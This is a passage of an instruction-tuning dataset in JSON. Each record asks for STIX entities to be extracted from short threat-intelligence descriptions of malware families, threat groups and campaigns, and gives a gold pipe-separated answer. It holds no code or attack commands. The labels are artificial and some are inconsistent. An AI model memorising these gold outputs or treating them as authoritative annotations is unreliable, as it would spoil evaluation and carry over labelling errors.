    "output": "<entities>PlugX</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nMeteor is a wiper that was used against Iranian government organizations, including Iranian Railways, the Ministry of Roads, and Urban Development systems, in July 2021. Meteor is likely a newer version of similar wipers called Stardust and Comet that were reportedly used by a group called \"Indra\" since at least 2019 against private companies in Syria.\n",
    "output": "<entities>Meteor|Stardust|Comet|Indra|Iranian|Syria|Iranian Railways|Ministry of Roads|Urban Development</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nSharkBot is a banking malware, first discovered in October 2021, that tries to initiate money transfers directly from compromised devices by abusing Accessibility Services.\n",
    "output": "<entities>SharkBot</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nDrinik is an evolving Android banking trojan that was observed targeting customers of around 27 banks in India in August 2021. Initially seen as an SMS stealer in 2016, Drinik resurfaced as a banking trojan with more advanced capabilities included in subsequent versions between September 2021 and August 2022.\n",
    "output": "<entities>Drinik|Android|India</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nFrankenstein has run encoded commands from the command line.\n",
    "output": "<entities>Frankenstein</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nLinux Rabbit sends the payload from the C2 server as an encoded URL parameter.\n",
    "output": "<entities>Linux Rabbit|Linux|C2</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nC0011 was a suspected cyber espionage campaign conducted by Transparent Tribe that targeted students at universities and colleges in India. Security researchers noted this campaign against students was a significant shift from Transparent Tribe's historic targeting Indian government, military, and think tank personnel, and assessed it was still ongoing as of July 2022.\n",
    "output": "<entities>C0011|Transparent Tribe|India|Indian government</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nAPT-C-36 has used port 4050 for C2 communications.\n",
    "output": "<entities>APT-C-36|C2</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nRCSAndroid is Android malware.\n",
    "output": "<entities>RCSAndroid|Android</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nWIRTE has downloaded PowerShell code from the C2 server to be executed.\n",
    "output": "<entities>WIRTE|C2|PowerShell</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nChaos conducts brute force attacks against SSH services to gain initial access.\n",
    "output": "<entities>Chaos</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nBADNEWS has a command to download an .exe and use process hollowing to inject it into a new process.\n",
    "output": "<entities>BADNEWS</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nWingbird is a backdoor that appears to be a version of commercial software FinFisher. It is reportedly used to attack individual computers instead of networks. It was used by NEODYMIUM in a May 2016 campaign. \n",
    "output": "<entities>Wingbird|FinFisher|NEODYMIUM|May 2016 campaign</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nRed Alert 2.0 is a banking trojan that masquerades as a VPN client.\n",
    "output": "<entities>Red Alert 2.0</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nClop has searched folders and subfolders for files to encrypt.\n",
    "output": "<entities>Clop</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nHildegard is malware that targets misconfigured kubelets for initial access and runs cryptocurrency miner operations. The malware was first observed in January 2021. The TeamTNT activity group is believed to be behind Hildegard. \n",
    "output": "<entities>Hildegard|kubelets|TeamTNT</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nThey used the tools \u201cnet.exe\u201d, \u201cwmic.exe\u201d, \u201cpsexec.exe\u201d, \u201csmbexec\u201d, and \u201cwmiexec\u201d. \u2022 Persistence  The advanced group established persistence in certain servers that were of their interest and deployed a remote access Trojans such as \u201cQuasarRAT\u201d and \u201cPlugX\u201d, moreover penetration or \u201cpentesting\u201d tools such as \u201cCobalt Strike\u201d and \u201ckerberos\u201d.\n",
    "output": "<entities>QuasarRAT|PlugX|Cobalt Strike|kerberos|net.exe|wmic.exe|psexec.exe|smbexec|wmiexec</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\njRAT has been distributed as HTA files with VBScript.\n",
    "output": "<entities>jRAT|VBScript</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., 